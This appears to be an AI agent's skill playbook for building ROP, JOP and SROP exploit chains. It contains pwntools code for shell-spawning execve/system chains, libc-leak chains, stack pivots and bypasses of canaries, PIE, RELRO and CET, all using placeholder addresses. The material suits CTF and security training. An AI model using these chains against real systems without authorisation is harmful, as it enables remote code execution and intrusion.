rop-chain

name	rop-chain
description	ROP/JOP gadget hunting and exploit-chain construction — for NX/DEP bypass on x86/x64/ARM binaries.
metadata	{"subdomain":"reverse-engineering","when_to_use":"rop jop chain return oriented programming gadget pwntools nx dep bypass x86 x64 arm","mitre_attack":["T1203","T1055"]}

ROP Chain Construction Playbook

ROP (Return-Oriented Programming) and JOP (Jump-Oriented) repurpose existing code fragments ("gadgets") ending in ret / jmp <reg> to build arbitrary computation without injecting code. Required when NX/DEP prevents shellcode execution.

1. Inventory mitigations

Before building the chain, know what protections you face:

checksec --file=/tmp/binary
# Or
pwn checksec /tmp/binary

Output flags:

• NX: stack non-executable → ROP needed
• PIE: position-independent → need leak first
• RELRO (partial/full): GOT writable / read-only
• Canary: stack-cookie → leak/bypass needed
• ASLR: addresses randomized → leak needed for libc/PIE

2. Gadget discovery

# ROPgadget (most common)
ROPgadget --binary /tmp/binary --depth 8 > /tmp/gadgets.txt

# Filter useful ones
grep ': pop rdi ; ret$' /tmp/gadgets.txt    # syscall arg1 setup
grep ': pop rsi ; ret$' /tmp/gadgets.txt    # syscall arg2 setup
grep ': pop rdx ; ret$' /tmp/gadgets.txt    # arg3
grep ': syscall ; ret$' /tmp/gadgets.txt    # syscall instruction
grep ': ret$' /tmp/gadgets.txt | head       # bare ret (stack alignment)

# Alternative: ropper
ropper --file /tmp/binary --search 'pop rdi'
ropper --file /tmp/binary --search 'syscall'

# Alternative: one_gadget for libc one-shot RCE
one_gadget /lib/x86_64-linux-gnu/libc.so.6

3. Common chain patterns

Direct execve("/bin/sh") via syscall (x86_64)

from pwn import *

# Gadgets from /tmp/binary
POP_RDI = 0x4011a3       # pop rdi ; ret
POP_RSI = 0x4011a1       # pop rsi ; ret
POP_RDX = 0x4011a5       # pop rdx ; ret
POP_RAX = 0x4011a7       # pop rax ; ret
SYSCALL = 0x4011a9       # syscall ; ret

# Target
BIN_SH  = 0x404060       # writeable .bss for "/bin/sh\x00"

chain = b''
# write "/bin/sh\0" to BIN_SH
chain += p64(POP_RAX) + p64(0x68732f6e69622f)  # /bin/sh in little-endian, no null at end
chain += p64(POP_RDI) + p64(BIN_SH)
# stos or mov [rdi], rax — need gadget
# (this needs more gadgets, see "write-what-where" section below)

# execve(BIN_SH, NULL, NULL)
chain += p64(POP_RAX) + p64(0x3b)    # SYS_execve = 59
chain += p64(POP_RDI) + p64(BIN_SH)
chain += p64(POP_RSI) + p64(0)
chain += p64(POP_RDX) + p64(0)
chain += p64(SYSCALL)

Via libc (if libc address leaked)

# Easier — call system("/bin/sh") in libc
libc_base = leaked_libc_addr - libc.symbols.puts   # offset from puts to base

chain = b''
chain += p64(POP_RDI) + p64(libc_base + next(libc.search(b'/bin/sh')))
chain += p64(libc_base + libc.symbols['system'])
# Some systems need a ret-aligning gadget for stack alignment before system
chain = p64(RET_GADGET) + chain

one_gadget (if conditions met)

one_gadget finds libc addresses that call execve("/bin/sh") with one jump, no setup. Constraints (e.g. [rsp+0x70] == NULL) must be met:

one_gadget libc.so.6
# 0x4527a constraints: ...
# 0xf03a4 constraints: ...

Pick the constraint that matches the state at your return point.

4. Write-what-where (when no leak available initially)

If you can't read libc directly:

1. Find puts@plt in the binary
2. Build a chain that calls puts(puts_got) — leaks libc's puts address
3. Compute libc base from that
4. Return to main (or any function that re-runs your chain) and now build the real execve chain

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main     = elf.symbols['main']

leak_chain  = p64(POP_RDI) + p64(puts_got)
leak_chain += p64(puts_plt)
leak_chain += p64(main)  # restart so we can re-input

5. Modern bypass techniques

Stack pivoting

When buffer overflow is small, pivot to a controlled larger region:

# Gadgets needed
POP_RBP = 0x...           # pop rbp ; ret
LEAVE_RET = 0x...         # mov rsp, rbp; pop rbp; ret

# Pivot to attacker-controlled buffer
chain = p64(LARGE_BUFFER - 8) + p64(LEAVE_RET)

Sigreturn-Oriented Programming (SROP)

Few gadgets available? SROP uses rt_sigreturn syscall to restore full CPU state from a sigframe on the stack — sets every register at once:

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = SYSCALL
chain = p64(POP_RAX) + p64(0xf) + p64(SYSCALL) + bytes(frame)

JOP (Jump-Oriented)

When ret-poisoning is hardened (CET / shadow stack), use jmp gadgets:

ROPgadget --binary /tmp/bin --jop

Pattern: dispatcher gadget calls each functional gadget via register. Harder to construct; rare in CTF, occasional in real exploits.

6. Mitigation specifics

Stack canary

Need to leak it first. Patterns:

• Format string vuln reads canary
• Read primitive (e.g. arbitrary read via uninit pointer) leaks it
• Fork-server target: canary identical across fork children → brute byte-by-byte

PIE

Need to leak any function address in main binary → compute base. Often via puts/printf of a stack variable that contains a ret addr.

Full RELRO

GOT read-only → can't GOT-overwrite. ROP must use direct syscalls or libc functions via leaked base.

CET / shadow stack

ROP gadgets ending in ret get blocked at return. Mitigations:

• Use ENDBR64-prefixed gadgets (JOP-style)
• Use syscalls that don't return (execve)
• Bypass via CET-disable techniques where possible

7. Promote (knowledge graph)

kg_add_node(kind="exploit_chain", label="ROP: BOF → execve",
            props={"target":"<binary>","gadget_count":<n>,"libc_required":<bool>})
kg_add_edge(src=<vuln:BOF>, dst=<exploit_chain>, kind="enables")
kg_add_edge(src=<exploit_chain>, dst=<crown_jewel:shell>, kind="achieves")

CVSS

• Working RCE chain: 9.8-10.0 (network-reachable)
• Chain requires local interaction: 7-8
• ASLR-defeating chain reliable across runs: 10.0
• One-shot one_gadget exploit: 9.8

Tooling cheat sheet

Tool	Use for
ROPgadget	Linux/x86 gadget enum
ropper	Multi-arch gadgets, search syntax
pwntools ROP() class	Chain assembly in Python
one_gadget	Libc one-shot RCE
angr	Symbolic gadget chain finding
Ropium	Automated ROP chain synthesis
pwntools-tubes	Remote interaction harness
pwndbg / gef (gdb plugins)	Live debugging w/ ROP helpers
r2pipe	Programmatic radare2 from Python

Known exemplars (CTF + real)

• Most CTF pwn challenges from medium+: classic ROP
• Real CVE-2017-7494 (SambaCry): no ROP, but reused techniques
• CVE-2014-0160 (Heartbleed): leak primitive used to defeat ASLR
• Windows kernel exploits w/ HEVD: kernel ROP for SMEP bypass
• iOS jailbreaks: heavy use of JOP due to PAC + KTRR